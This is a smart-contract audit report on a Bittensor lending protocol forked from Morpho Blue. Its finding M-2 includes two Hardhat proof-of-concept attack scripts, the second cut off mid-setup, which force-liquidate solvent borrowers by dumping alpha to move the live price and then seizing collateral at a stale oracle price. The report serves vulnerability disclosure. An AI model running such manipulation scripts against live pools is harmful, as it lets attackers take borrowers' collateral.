



Morpho Blue Fork BalancerAdapter Upgrade Audit Report

Prepared by [Burra Security](#)

Version 1.0

Researchers

eeyore

playboi.eth

August 2, 2026

Contents

1	About Burra Security	2
2	Disclaimer	2
3	Risk Classification	2
4	Protocol Summary	2
5	Audit Scope	3
6	Executive Summary	3
7	Findings	5
7.1	Medium Risk	5
7.1.1	Dissolution deletes collateral before <code>_subnetDead()</code> observes it, letting one permissionless liquidate strand 100% of deregistration proceeds	5
7.1.2	Attacker can steal ~25-30% of solvent borrowers' collateral by dumping alpha to force-liquidate them at a stale price the docs claim is safe	6
7.2	Low Risk	17
7.2.1	<code>deltaSafe</code> spends the swap fee its own bound was derived without	17
7.2.2	Borrow floor retains an in-transaction manipulated seed for days with no reset path	17
7.3	Informational	19
7.3.1	trim's <code>delta_safe</code> proof does not cover stale-EMA wick positions	19
7.3.2	Market hotkey is a factory immutable, but the chain's <code>swap_hotkey</code> can re-key the pool's stake and orphan all collateral	19
7.3.3	<code>SubnetMovingPrice</code> is written every block only for subnets in the emission set	20
7.3.4	<code>H = 0</code> is rejected as a fault rather than as a stated decision, and §5.4 documents the opposite	20

1 About Burra Security

Burra Security offers security auditing and advisory services with a special focus on cross-chain and interoperability protocols and their integrations. Learn about us at burrasec.com.

2 Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource, and expertise-bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any vulnerabilities. Subsequent security reviews, bug bounty programs, and on-chain monitoring are recommended.

3 Risk Classification

	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

The audited scope is a Morpho Blue-derived lending market adapted for Bittensor. BtLendingFactory.sol deploys one isolated BtLendingPool.sol per subnet, where borrowers post that subnet's staked alpha as collateral and borrow TAO while idle lender capital sits in root alpha. Deployment is owner-gated and pools are immutable once live; PoolDeployer.sol is a stateless delegatecall helper that keeps pool bytecode under the EIP-170 limit.

Pools retain Morpho Blue's shares-based accounting with virtual shares (SharesMath.sol) and Taylor-series interest accrual (InterestRateModel.sol), with rates and pricing supplied by per-pool modules. ZonedDriftIrm.sol implements Irm as a four-zone adaptive drift curve over Morpho's AdaptiveCurveIrm, and BtOracle.sol implements IBtOracle as a boundary-anchored oracle that inverts the chain's moving-price EMA to recover a manipulation-resistant average, running separate borrow and liquidation streams behind a dual gate.

BalancerAdapter.sol implements IAmmAdapter as the view-only pricing surface over the Bittensor subnet AMM, which migrated from constant-product to a Balancer weighted invariant in the June 2026 runtime upgrade. It derives the weight ratio at runtime and supplies depth-aware execution values, pseudo-reserve valuation at a reference price, and the capacity gate bounding borrows against AMM depth, with WadPow.sol providing the fractional exponentiation the weighted curve requires. Liquidation, owner-driven trim, and forceClose settle positions against those valuations, and IBtLiquidateCallback lets liquidators source funds mid-call.

PreLiquidationFactory.sol permissionlessly deploys PreLiquidation.sol instances that borrowers opt into via setAuthorization, enabling partial liquidation before LLTV breach on linearly interpolated close and incentive factors. Value flows through Bittensor's precompile layer rather than ERC20s: IStakingV2 (0x805) for staking and delegated stake transfers, IAlpha (0x808) for AMM prices and reserves, IAddressMapping (0x80C) for H160-to-AccountId32 conversion, and SubnetRegistryPrecompile.sol reading NetworkRegisteredAt through the storage-query precompile (0x807) to detect subnet deregistration and recycling.

5 Audit Scope

The following files were in the scope of the audit:

```
contracts/
├── interfaces/
│   ├── IAddressMapping.sol
│   ├── IAlpha.sol
│   ├── IAmmAdapter.sol
│   ├── IBtLendingFactory.sol
│   ├── IBtLendingPool.sol
│   ├── IBtLiquidateCallback.sol
│   ├── IBtOracle.sol
│   ├── Iirm.sol
│   ├── IPreLiquidation.sol
│   ├── IPreLiquidationCallback.sol
│   ├── IPreLiquidationFactory.sol
│   ├── IStakingV2.sol
│   └── ISubnetRegistry.sol
├── libraries/
│   ├── ExpLib.sol
│   ├── InterestRateModel.sol
│   ├── MathLib.sol
│   ├── SharesMath.sol
│   ├── UtilsLib.sol
│   └── WadPow.sol
├── BalancerAdapter.sol
├── BtLendingFactory.sol
├── BtLendingPool.sol
├── BtOracle.sol
├── PoolDeployer.sol
├── PreLiquidation.sol
├── PreLiquidationFactory.sol
├── SubnetRegistryPrecompile.sol
└── ZonedDriftIrm.sol
```

6 Executive Summary

Over the course of 4 days, the Burra Security team conducted an audit on the [Morpho Blue Fork BalancerAdapter Upgrade](#) smart contracts provided by [Mentat Minds](#). In this period, a total of 8 issues were found.

Summary

Project Name	Morpho Blue Fork BalancerAdapter Upgrade
Repository	mm-lending-contracts
Commit	195cf12b04e8...
Audit Timeline	Jul 27th - Jul 30th
Methods	Manual Review

Issues Found

Critical Risk	0
High Risk	0
Medium Risk	2
Low Risk	2
Informational	4
Gas Optimizations	0
Total Issues	8

Summary of Findings

[M-1] Dissolution deletes collateral before <code>_subnetDead()</code> observes it, letting one permissionless liquidate strand 100% of deregistration proceeds	Resolved
[M-2] Attacker can steal ~25-30% of solvent borrowers' collateral by dumping alpha to force-liquidate them at a stale price the docs claim is safe	Acknowledged
[L-1] deltaSafe spends the swap fee its own bound was derived without	Resolved
[L-2] Borrow floor retains an in-transaction manipulated seed for days with no reset path	Resolved
[I-1] trim's delta_safe proof does not cover stale-EMA wick positions	Resolved
[I-2] Market hotkey is a factory immutable, but the chain's <code>swap_hotkey</code> can re-key the pool's stake and orphan all collateral	Resolved
[I-3] SubnetMovingPrice is written every block only for subnets in the emission set	Resolved
[I-4] $H = 0$ is rejected as a fault rather than as a stated decision, and §5.4 documents the opposite	Resolved

7 Findings

7.1 Medium Risk

7.1.1 Dissolution deletes collateral before `_subnetDead()` observes it, letting one permissionless liquidate strand 100% of deregistration proceeds

Target: [BtLendingPool.sol](#)

Severity:

- Impact: High
- Likelihood: Low

Description: `_subnetDead()` reads only `networkRegisteredAt` and `oracle.taoReserves()`. It never reads the pool's own stake:

```
return factory.networkRegisteredAt(netuid) != regBlock || oracle.taoReserves() == 0;
```

Subtensor dissolution is an incremental, weight-metered `on_idle` cleanup, and the three storage items involved are removed in separate phases that can split across blocks (verified against subtensor source at [e4ffa2e](#)). The per-account Alpha map that `_totalAlpha()` reads is removed at phase 2.3; SubnetTAO, which `taoReserves()` reads, is removed at phase 2.7; `NetworkRegisteredAt` at phase 5.2. Throughout the [2.3, 2.7) window both legs of `_subnetDead()` still read live while `_virtualCollateral()` has already collapsed to zero.

On a subnet the pool still treats as alive, every `effectiveCollateral` floors to zero, `liveValue()` and `liqValue()` both return zero, and every position reads liquidatable. A permissionless zero-value liquidate takes the full-balance dust-close branch, writes off the loan book for no repayment, and sets `lastKnownStakedAlpha = _totalAlpha() = 0`. That poisons the deregistration snapshot: `deregVC` becomes 0, so `totalReal` becomes 0, so every later `forceClose` slice is multiplied by zero. The pro-rata TAO the chain already credited to the pool at phase 2.2 is stranded in the contract permanently, and the `deregSnapshotTaken` latch makes it irreversible.

The trigger requires no privileged role. The collateral subnet dissolving is a chain or subnet-owner event, not a pool action, and any collateral-moving call in the window poisons the snapshot. The protocol's own keeper fires it by design, since `isLiquidatable` reads true while `_subnetDead()` reads false.

This is a distinct loss beyond the disclosed deregistration haircut (spec §9, §12), not the haircut itself. Without the window, `forceClose` distributes proceeds pro-rata; with it, every party receives zero. §12 discloses only stale-but-positive `lastKnownStakedAlpha` and dust residue, not the zero case, and the documented dissolution analysis covers only the adjacent [2.7, 5.2) window, which it calls liveness-only.

Likelihood is Low: it requires the pool's own subnet to deregister, which the six-month maturity listing policy (§14) is intended to make rare, plus a multi-block [2.3, 2.7) window, which needs contended blocks. Impact is High: 100% of a pool's deregistration proceeds stranded, irreversible, affecting lenders and debt-free collateral holders alike.

Recommended Mitigation: Add the pool's own collateral to the liveness gate, treating `_totalAlpha() == 0 && totalCollateralShares > 0` as dead, or refuse to write `lastKnownStakedAlpha` when `_totalAlpha()` reads zero while collateral shares remain. Either enforces the invariant that `totalCollateralShares > 0` requires `_totalAlpha() > 0`, and fails the window closed.

Mentat Minds: Confirmed; fixed in [b7b1cf5](#) with your first mitigation. The condition additionally checks `lastKnownStakedAlpha > 0`: trim records the zero itself when it sells the whole balance (a pathological case, reachable only by trimming against the documented preconditions; a normal trim cannot drain the balance), and trim's settlement path sits behind this same gate, so the raw condition could lock out its own cleanup.

BurraSec: Correctly and completely fixed in [b7b1cf5](#).

7.1.2 Attacker can steal ~25-30% of solvent borrowers' collateral by dumping alpha to force-liquidate them at a stale price the docs claim is safe

Target: [BtLendingPool.sol](#), [BtOracle.sol](#), [BalancerAdapter.sol](#), [PreLiquidation.sol](#) (same live gate at [PreLiquidation.sol:162](#)) **Severity:**

- Impact: High
- Likelihood: Low

Description: [BtLendingPool.isLiquidatable \(BtLendingPool.sol:594\)](#) gates liquidation on BOTH a live leg (`debt > oracle.liveValue(coll) · LLTV`) and a stale-reference leg (`debt > oracle.liqValue(coll) · LLTV`). The stale reference `pLiqWad` is a 6-block boundary TWAP ([BtOracle.sol:364](#)) that lags the market; the live value is `BalancerAdapter.execValue`, an in-transaction `simSwapAlphaForTao` simulation against CURRENT AMM reserves ([BalancerAdapter.sol:108](#)).

- Because the live leg reads in-transaction reserves, an attacker can depress it atomically by dumping alpha (`removeStake`) immediately before calling `liquidate`. The seizure itself is priced EXCLUSIVELY at the stale reference.
1. Door A bills `oracle.liqValue(fairAlpha)` ([BtLendingPool.sol:1153](#)),
 2. Door B sizes via `oracle.liqInverseValue` ([BtLendingPool.sol:1082](#)) : with no live-value cross-check anywhere in the seizure path, and the seized collateral is delivered as on-chain alpha stake to the liquidator ([BtLendingPool.sol:1226](#)), NOT sold on the live market. The attacker's dump therefore cannot move the price at which they are paid: they open the live gate with a dump, get billed at the stale-low `pLiq`, receive collateral worth more at the (about to be restored) live price, then buy the dumped alpha back. Net cost is only the dump round-trip (AMM fees + spread); net profit is the live-vs-stale gap on the seized collateral.

The protocol's own documentation asserts this exact state is protected. `docs/oracle-boundary-anchored.md §8.2 (line 414)` states: **"A stale ref alone fails the live gate: the position is healthy at the current live price even if the reference is stale-low from a past crash."** Spec invariant I-18 in `docs/protocol-specification.md` makes the same claim (the live leg is the wick/manipulation barrier).

Both are wrong: the live leg is not a manipulation barrier because it is itself the manipulable quantity, and the seizure path never re-derives the bill from any manipulation-resistant price. A borrower sitting in the documented "wick-protection zone" ; healthy at live price, breached only at the stale reference, `isLiquidatable == false` ; can be force-liquidated in a single block, losing collateral priced at a discount to its true live value.

Impact

1. **An attacker can force-liquidate a borrower who is healthy at live prices, a state the docs promise is safe and walk away with +25-30% of the victim's position value in a single block, costing only AMM round-trip fees.**

I proved this on-chain (real localnet, unmodified 195cf12 contracts, zero mocks):

1. A borrower at **59.61% live-LTV** (LLTV = 70%, comfortably healthy) was force-liquidated. Attacker net profit: **+5.28 TAO** on a 21 TAO-debt position. Victim lost 865 of 1,175 alpha (~73% of collateral).
2. A borrower at **63.58% live-LTV** was force-liquidated. Attacker net profit: **+6.93 TAO**. Victim lost 952 of 1,175 alpha (~81% of collateral). At the moment of seizure the collateral was worth 34.42 TAO live against 22.98 TAO of debt+LIF, a deeply solvent position, seized anyway.

Concretely, the attacker profits and the victim pays:

- **Attacker gains** the gap between the seized collateral's live value and the stale-priced bill (26.29 TAO vs 22.66 TAO in run 1; 28.82 TAO vs 21.89 TAO in run 2), minus only dump round-trip fees.
- **Victim loses** their collateral at a below-market price while solvent - a liquidation that the protocol's own wick-protection documentation says cannot happen.
- **Lenders are unaffected:** `totalAssets` unchanged before/after (measured 150.71 TAO both sides); no bad-debt socialization occurs on a solvent victim (Door A is LIF-capped, the Door B clamp only fires underwater).

Root Cause The liquidation trigger and the liquidation pricing read from DIFFERENT price sources with different manipulation resistance, and the trigger's manipulation-resistant leg is used for gating only, never for pricing:

1. Trigger ([BtLendingPool.sol:594-599](#)):

```
function isLiquidatable(address borrower) public view returns (bool) {
    uint256 debt = debtOf(borrower);
    if (debt == 0) return false;
    uint256 collAlpha = effectiveCollateral(borrower);
    return debt > oracle.liveValue(collAlpha) * LLTV_BPS / BPS      // live leg: in-tx reserves
    && debt > oracle.liqValue(collAlpha) * LLTV_BPS / BPS;         // stale leg: 6-block TWAP
}
```

liveValue -> adapter.execValue(netuid, alphaAmount) ([BtOracle.sol:344](#)) -> simSwapAlphaForTao on current AMM reserves ([BalancerAdapter.sol:108](#)). A large removeStake in the same block (or same transaction, for a contract-based liquidator) moves this number arbitrarily.

2. Pricing (seizure): Door A repaidAssets = oracle.liqValue(fairAlpha) ([BtLendingPool.sol:1153](#)); Door B fairAlpha = oracle.liqInverseValue(repaidAssets) ([BtLendingPool.sol:1082](#)). Both resolve to adapter.valueAtPrice(netuid, pLiqWad, ...) ([BtOracle.sol:361](#)) - the boundary-anchored TWAP that updates only on keeper pokes at D_LIQ-block cadence and is immune to in-transaction manipulation.
3. Delivery: seized collateral is transferred as on-chain alpha stake to the liquidator's coldkey (_transferStakeOrDonate, [BtLendingPool.sol:1226](#)). It is NOT sold into the (dumped) pool, so the liquidator's own manipulation has zero effect on their proceeds.

The design intent (docs §8.2, spec invariant I-18) is: "live leg blocks stale-trigger liquidations; stale leg blocks flash-crash liquidations." The first half fails because the live leg is the flash-crashable quantity, the two legs do not actually provide mutual protection. Symbolically: the invariant requires liveValue == manipulation-resistant value, but the code uses liveValue' (the in-tx simSwap on attacker-movable reserves) and the equivalence fails exactly in the transition window the gate exists to protect.

Attack Scenario

1. A genuine market crash drops the subnet's alpha/TAO spot price (no attacker action needed, routine volatility).
2. Keeper pokes converge pLiqWad down to the crash level over D_LIQ = 6 blocks.
3. The market partially recovers while pLiq still lags. Any sufficiently-leveraged borrower now sits in the protected band: liveValue(coll) · LLTV ≥ debt > liqValue(coll) · LLTV, isLiquidatable == false. The documentation explicitly promises this borrower is safe.
4. The attacker (any alpha holder; no flash loan needed can do it truly atomically in one tx) executes in a single block: a. removeStake ; dumps alpha into the AMM, crashing the live simSwap price until the victim's live leg breaches LLTV. b. liquidate(victim, 0, victimBorrowShares, ...) , both gate legs now pass. The bill is computed at stale-low pLiq (unchanged by the dump); the LIF bonus applies on top of the stale price; seized alpha is delivered as stake to the attacker's coldkey. c. addStake : buys the alpha back, restoring the price. (A second account avoids any same-block rate-limiter; on the real chain the PoC uses a whale wallet for manipulation and a separate liquidator EOA.)
5. Net: attacker paid bill(stale) for collateral worth liveValue(seized) at restored prices. PoC-measured profit: +5.28 TAO and +6.93 TAO on ~21-22 TAO positions (~25-30% per attack), against only round-trip AMM fees/spread. The victim is solvent at live prices : lost ~73-81% of their collateral.
6. Repeatable: every crash-recovery window regenerates the protected band on every pool; the attack can be run against each qualifying borrower each window. The same live gate in PreLiquidation.sol:162 exposes pre-liquidation offers to the same dump.

I wrote 2 pocs for both scenarios.

```
import { expect } from "chai";
```

```

import hre from "hardhat";
import { Contract, Signer } from "ethers";
import {
  sealBlocks,
  deployFactoryAndPool,
  submitSubstrateTx,
  prepareRootAlpha,
  prepareSubnetAlpha,
  parseSafeFloat,
  LOCAL_WS,
} from "../helpers";
import { ApiPromise, WsProvider, Keyring } from "@polkadot/api";

const TAO = 1_000_000_000n;
const WEI_PER_RAO = 1_000_000_000n;
const NETUID = 1;
const BOB_HOTKEY =
  "0x8eaf04151687736326c9fea17e25fc5287613693c912909cb226aa4794f26a48";
const GAS = { gasLimit: 10_000_000 };
const LIQ_GAS = { gasLimit: 30_000_000 };

/**
 * PoC - the liquidation dual-gate's LIVE leg is atomically dumpable.
 *
 * Runs on the repo's real localnet harness (no mocks): a genuine crash ->
 * pLiq convergence -> partial recovery leaves a victim in the PROTECTED BAND
 * (healthy at live, breached only at the stale-low pLiq - the exact state the
 * oracle doc Section 8.2 line 414 claims is safe: "a stale ref alone fails the live
 * gate"). In ONE block the attacker dumps alpha to crash the live leg, calls
 * liquidate() (the seizure bills ONLY at stale pLiq - BtLendingPool.sol:1153
 * Door A / :1082_seizureShares), and buys back. Profit = seized collateral's
 * live value - bill - dump round-trip cost; victim's residual debt is
 * socialized via _writeOffIfEmptied.
 */
describe("PoC - Liquidation live-gate atomic dump", function () {
  this.timeout(600_000);

  let pool: Contract;
  let oracle: Contract;
  let alith: Signer; // lender + liquidator
  let baltathar: Signer; // victim
  let alithAddr: string;
  let baltatharAddr: string;
  let poolAddr: string;
  let api: ApiPromise;
  let alice: any; // whale
  let bob: any;
  let recTargetGlobal = 0n;

  async function whaleAlpha(): Promise<bigint> {
    const raw = await (api.query.subtensorModule as any).alphaV2(bob.address, alice.address, NETUID);
    return parseSafeFloat(raw);
  }

  async function spotNow(): Promise<bigint> {
    const adapterAddr = await oracle.adapter();
    const Adapter = await hre.ethers.getContractFactory("BalancerAdapter");
    const adapter = Adapter.attach(adapterAddr);
    return BigInt(await adapter.spotPriceWad(NETUID));
  }

  async function reserves(): Promise<{ tau: bigint; alpha: bigint }> {
    const adapterAddr = await oracle.adapter();
    const Adapter = await hre.ethers.getContractFactory("BalancerAdapter");

```

```

    const adapter = Adapter.attach(adapterAddr);
    return { tau: BigInt(await adapter.taoReserves(NETUID)), alpha: BigInt(await
    ↪ adapter.alphaReserves(NETUID)) };
}
async function victimState() {
    const effColl: bigint = await pool.effectiveCollateral(baltatharAddr);
    const debt: bigint = await pool.debtOf(baltatharAddr);
    const liveVal: bigint = await oracle.liveValue(effColl);
    const liqVal: bigint = await oracle.liqValue(effColl);
    return { effColl, debt, liveVal, liqVal };
}
async function whaleTao(): Promise<bigint> {
    const raw = await api.query.system.account(alice.address);
    return BigInt((raw as any).data.free.toString());
}
const pct = (a: bigint, b: bigint) => (Number((a * 10000n) / b) / 100).toFixed(2) + "%";
const t = (rao: bigint) => (Number(rao) / 1e9).toFixed(4);

before(async function () {
    [alith, baltathar] = await hre.ethers.getSigners();
    alithAddr = await alith.getAddress();
    baltatharAddr = await baltathar.getAddress();

    api = await ApiPromise.create({ provider: new WsProvider(LOCAL_WS) });
    const keyring = new Keyring({ type: "sr25519" });
    alice = keyring.addFromUri("//Alice");
    bob = keyring.addFromUri("//Bob");

    ({ pool, poolAddr } = await deployFactoryAndPool(hre, alith, NETUID, BOB_HOTKEY));
    const oracleAddr = await pool.oracle();
    const Oracle = await hre.ethers.getContractFactory("BtOracle");
    oracle = Oracle.attach(oracleAddr);

    // Lender liquidity.
    await prepareRootAlpha(hre, alith, BOB_HOTKEY, poolAddr, 200n * TAO);
    await sealBlocks(10);
    await (await (pool.connect(alith) as any).supply(150n * TAO, 0n, alithAddr, GAS)).wait();

    // Victim: subnet alpha collateral + a HIGH-leverage borrow so the post-
    // recovery state lands in the protected band (live-LTV in [70%, ~82%]).
    const alphaBalt = await prepareSubnetAlpha(hre, baltathar, BOB_HOTKEY, poolAddr, NETUID, 40n * TAO);
    await sealBlocks(10);
    await sealBlocks(7);
    await (await pool accrueInterest(GAS)).wait();
    await (await (pool.connect(baltathar) as any).supplyCollateral(alphaBalt, 0n, baltatharAddr,
    ↪ GAS)).wait();
    await sealBlocks(7);
    await (await pool accrueInterest(GAS)).wait();

    const bv: bigint = await oracle.borrowValue(alphaBalt);
    const borrowAmt = (bv * 7000n / 10000n) * 95n / 100n; // ~66.5% borrow-LTV
    await (await (pool.connect(baltathar) as any).borrow(borrowAmt, 0n, baltatharAddr, baltatharAddr,
    ↪ GAS)).wait();

    const s = await victimState();
    console.log(`    [setup] coll=${t(s.effColl)}a debt=${t(s.debt)}T live-LTV=${pct(s.debt, s.liveVal)}
    ↪ liq-LTV=${pct(s.debt, s.liqVal)} spot=${Number(await spotNow()) / 1e18}`);
});

after(async function () { if (api) await api.disconnect(); });

it("reaches the protected band: crash -> pLiq converge -> partial recovery", async function () {

```

```

// CRASH to ~60% of the setup spot: remove alpha until spot hits target.
const spotSetup = await spotNow();
const crashTarget = (spotSetup * 60n) / 100n;
let wa = await whaleAlpha();
while ((await spotNow()) > crashTarget && wa > 10n * TAO) {
  await submitSubstrateTx(api, alice, (api.tx.subtensorModule as any).removeStake(bob.address, NETUID,
    ↪ wa / 20n));
  wa = await whaleAlpha();
}
console.log("    [crash] spot:", Number(await spotNow()) / 1e18);

// Converge pLiq down to the crash level (D_LIQ-cadence pokes).
for (let i = 0; i < 12; i++) {
  await sealBlocks(7);
  await (await pool accrueInterest(GAS)).wait();
}
const pLiqCrash = BigInt(await oracle.pLiqWad());
const spotCrash = await spotNow();
console.log(`    [crash] converged pLiq=${Number(pLiqCrash) / 1e18} spot=${Number(spotCrash) / 1e18}`);

// PARTIAL RECOVERY to ~85% of setup spot: add TAO stake until spot recovers.
const recTarget = (spotSetup * 85n) / 100n;
recTargetGlobal = recTarget;
let guard = 0;
while ((await spotNow()) < recTarget && guard++ < 40) {
  await submitSubstrateTx(api, alice, (api.tx.subtensorModule as any).addStake(bob.address, NETUID, 5n *
    ↪ TAO));
}
const s = await victimState();
const spotRec = await spotNow();
const pLiqNow = BigInt(await oracle.pLiqWad());
console.log(`    [recover] spot=${Number(spotRec) / 1e18} pLiq(stale)=${Number(pLiqNow) / 1e18}`);
console.log(`    [recover] live-LTV=${pct(s.debt, s.liveVal)} liq-LTV=${pct(s.debt, s.liqVal)}`);
console.log("    [recover] isLiquidatable BEFORE dump:", await pool.isLiquidatable(baltatharAddr));

// Protected band assertions: healthy at live, breached only at stale ref.
expect(s.debt * 10000n).to.be.lte(s.liveVal * 7000n, "live leg healthy (protected)");
expect(s.debt * 10000n).to.be.gt(s.liqVal * 7000n, "stale ref leg breached");
expect(await pool.isLiquidatable(baltatharAddr)).to.be.false;
});

it("ATTACK: dump -> liquidate -> rebuy in one block steals the seized-collateral gap", async function () {
  const before = await victimState();
  // Measure liquidator TAO before.
  const alithBalBefore = await hre.ethers.provider.getBalance(alithAddr);
  const whaleTaoBefore = await whaleTao();
  const whaleAlphaBefore = await whaleAlpha();

  // 1. DUMP: crash the live leg until the victim's live leg breaches LLTV.
  // liveValue(coll) = execValue on current reserves; dump alpha until
  // debt > liveValue*LLTV.
  let dumpGuard = 0;
  let wa = await whaleAlpha();
  while (dumpGuard++ < 60) {
    const s = await victimState();
    if (s.debt * 10000n > s.liveVal * 7000n) break;
    const chunk = wa / 10n > 1n * TAO ? wa / 10n : 1n * TAO;
    await submitSubstrateTx(api, alice, (api.tx.subtensorModule as any).removeStake(bob.address, NETUID,
      ↪ chunk));
    wa = await whaleAlpha();
    if (wa < 2n * TAO) break;
  }
}

```

```

const sDump = await victimState();
const spotDumped = await spotNow();
console.log(` [attack] post-dump live-LTV=${pct(sDump.debt, sDump.liveVal)} liq-LTV=${pct(sDump.debt,
↳ sDump.liqVal)} `);
expect(await pool.isLiquidatable(baltatharAddr)).to.be.true; // both legs breached now

// 2. LIQUIDATE full debt (Door B) - seizure priced at stale pLiq. Bill in msg.value.
const posB = await pool.positions(baltatharAddr);
const fairAlpha = (before.effColl * 10000n + 10500n - 1n) / 10500n;
const bill: bigint = await oracle.liqValue(fairAlpha);
console.log(` [attack] repaidShares=${posB.borrowShares} bill(stale pLiq)=${t(bill)}T`);
const alithAlphaBefore = parseSafeFloat(await (api.query.subtensorModule as any).alphaV2(bob.address,
↳ alice.address, NETUID));
void alithAlphaBefore;
await (await (pool.connect(alith) as any).liquidate(
  baltatharAddr, 0n, posB.borrowShares, "0x",
  { ...LIQ_GAS, value: (bill + 5n * TAO) * WEI_PER_RAO }
)).wait();

// Seized alpha landed on the liquidator's substrate coldkey.
const alithCold = "0x" + Buffer.from(alithAddr.slice(2), "hex").toString("hex").padStart(64, "0");
void alithCold;
const seizedAlpha: bigint = await pool.positions(baltatharAddr).then(() => 0n).catch(() => 0n);
void seizedAlpha;
// Read via addrmap + getStake through the IStaking precompile.
const stakingAbi = (await hre.artifacts.readArtifact("IStaking")).abi;
const staking = new hre.ethers.Contract("0x0000000000000000000000000000000000000000000000000000000000000000", stakingAbi,
↳ alith);
const addrMapAbi = (await hre.artifacts.readArtifact("IAddressMapping")).abi;
const addrMap = new hre.ethers.Contract("0x0000000000000000000000000000000000000000000000000000000000000000", addrMapAbi,
↳ alith);
const cold: string = await addrMap.addressMapping(alithAddr);
const seized: bigint = BigInt(await staking.getStake(BOB_HOTKEY, cold, NETUID));

// 3. REBUY: restore the pool toward the pre-dump price (live recovers).
const { tau: tauNow } = await reserves();
void tauNow;
let rebuyGuard = 0;
const spotPreDump = recTargetGlobal;
while ((await spotNow()) < spotPreDump && rebuyGuard++ < 60) {
  await submitSubstrateTx(api, alice, (api.tx.subtensorModule as any).addStake(bob.address, NETUID, 5n *
↳ TAO));
}
const spotAfter = await spotNow();
const seizedLive: bigint = await oracle.liveValue(seized);
const alithBalAfter = await hre.ethers.provider.getBalance(alithAddr);
const victimAfter = await victimState();

// FULL BALANCE SHEET: sell the seized alpha for TAO and read the true net.
const seizedSellOut: bigint = await oracle.liveValue(seized); // exec value now
const whaleTaoAfter = await whaleTao();
const whaleAlphaAfter = await whaleAlpha();
// Whale (manipulation wallet) round-trip cost in TAO terms:
// TAO spent on rebuy adds minus TAO received from dump removes, plus the
// alpha balance change valued at restored spot.
const whaleTaoDelta = whaleTaoAfter - whaleTaoBefore; // negative = net TAO out
const whaleAlphaDeltaTao = await oracle.liveValue(
  whaleAlphaAfter > whaleAlphaBefore ? whaleAlphaAfter - whaleAlphaBefore : 0n
);
void whaleAlphaDeltaTao;

console.log(`\n === CHAIN-REAL RESULT ===`);

```

```

console.log(`    spot restored=${Number(spotAfter) / 1e18}`);
console.log(`    seized alpha=${t(seized)}a    exec value now=${t(seizedSellOut)}T`);
console.log(`    bill paid (stale)=${t(bill)}T    gross margin (seized-bill)=${t(seizedSellOut - bill)}T`);
console.log(`    victim after: debt=${t(victimAfter.debt)}T    coll=${t(victimAfter.effColl)}a`);
console.log(`    liquidator TAO delta=${t((alithBalAfter - alithBalBefore) / WEI_PER_RAO)}T (bill paid -
    ↪ refund, excl seized alpha)`);
console.log(`    liquidator TOTAL (TAO delta + seized exec) = ${t((alithBalAfter - alithBalBefore) /
    ↪ WEI_PER_RAO + seizedSellOut)}T`);
console.log(`    whale dump/rebuy TAO delta=${t(whaleTaoDelta)}T    whale alpha delta=${t(whaleAlphaAfter -
    ↪ whaleAlphaBefore)}a`);

expect(seized).to.be.gt(0n, "attacker received seized collateral");
expect(seizedLive).to.be.gt(bill, "seized collateral worth more at live than the stale bill");
});
});

```

- scenario 2: max-leverage victim (63.58% live-LTV) force-liquidated, attacker +6.93 TAO, lender-principal analysis:

```

import { expect } from "chai";
import hre from "hardhat";
import { Contract, Signer } from "ethers";
import {
    sealBlocks,
    deployFactoryAndPool,
    submitSubstrateTx,
    prepareRootAlpha,
    prepareSubnetAlpha,
    parseSafeFloat,
    LOCAL_WS,
} from "../helpers";
import { ApiPromise, WsProvider, Keyring } from "@polkadot/api";

const TAO = 1_000_000_000n;
const WEI_PER_RAO = 1_000_000_000n;
const NETUID = 1;
const BOB_HOTKEY =
    "0x8eaf04151687736326c9fea17e25fc5287613693c912909cb226aa4794f26a48";
const GAS = { gasLimit: 10_000_000 };
const LIQ_GAS = { gasLimit: 30_000_000 };

/**
 * PoC (max-leverage victim) - live-gate dump forcing liquidation of a position
 * that was healthy at live prices one block earlier (63.6% live-LTV, protected
 * by the dual gate), with the liquidator extracting the stale-ref seizure gap.
 *
 * Honest severity note established by this PoC: the dump OPENS the live gate
 * without changing the stale-priced bill, so on a still-solvent victim there
 * is NO lender-principal loss - the loss is the victim's premature liquidation
 * plus the LIF/gap transferred to the attacker. A lender-principal loss via
 * _writeOffIfEmptied requires the victim to be UNDERWATER at the stale bill
 * (liveValue(coll) * LIF < debt), which at live prices is an honest liquidation,
 * not this bug. The Critical claim reduces to the proven High: forced
 * liquidation of live-healthy borrowers at a stale discount, repeatable each
 * crash-recovery window.
 */
describe("PoC - live-gate dump, max-leverage victim (lender-impact analysis)", function () {
    this.timeout(600_000);

    let pool: Contract;
    let oracle: Contract;

```

```

let alith: Signer;
let baltathar: Signer;
let alithAddr: string;
let baltatharAddr: string;
let poolAddr: string;
let api: ApiPromise;
let alice: any;
let bob: any;
let recTargetGlobal = 0n;

async function whaleAlpha(): Promise<bigint> {
  const raw = await (api.query.subtensorModule as any).alphaV2(bob.address, alice.address, NETUID);
  return parseSafeFloat(raw);
}

async function spotNow(): Promise<bigint> {
  const Adapter = await hre.ethers.getContractFactory("BalancerAdapter");
  return BigInt(await Adapter.attach(await oracle.adapter()).spotPriceWad(NETUID));
}

async function victimState() {
  const effColl: bigint = await pool.effectiveCollateral(baltatharAddr);
  const debt: bigint = await pool.debtOf(baltatharAddr);
  const liveVal: bigint = await oracle.liveValue(effColl);
  const liqVal: bigint = await oracle.liqValue(effColl);
  return { effColl, debt, liveVal, liqVal };
}

const pct = (a: bigint, b: bigint) => (Number((a * 10000n) / b) / 100).toFixed(2) + "%";
const t = (rao: bigint) => (Number(rao) / 1e9).toFixed(4);

before(async function () {
  [alth, baltathar] = await hre.ethers.getSigners();
  alithAddr = await alith.getAddress();
  baltatharAddr = await baltathar.getAddress();

  api = await ApiPromise.create({ provider: new WsProvider(LOCAL_WS) });
  const keyring = new Keyring({ type: "sr25519" });
  alice = keyring.addFromUri("//Alice");
  bob = keyring.addFromUri("//Bob");

  ({ pool, poolAddr } = await deployFactoryAndPool(hre, alith, NETUID, BOB_HOTKEY));
  const Oracle = await hre.ethers.getContractFactory("BtOracle");
  oracle = Oracle.attach(await pool.oracle());

  await prepareRootAlpha(hre, alith, BOB_HOTKEY, poolAddr, 200n * TAO);
  await sealBlocks(10);
  await (await (pool.connect(alith) as any).supply(150n * TAO, 0n, alithAddr, GAS)).wait();

  // MAX-LEVERAGE victim: borrow 95% of the LTV-allowed max (~66.5% LTV).
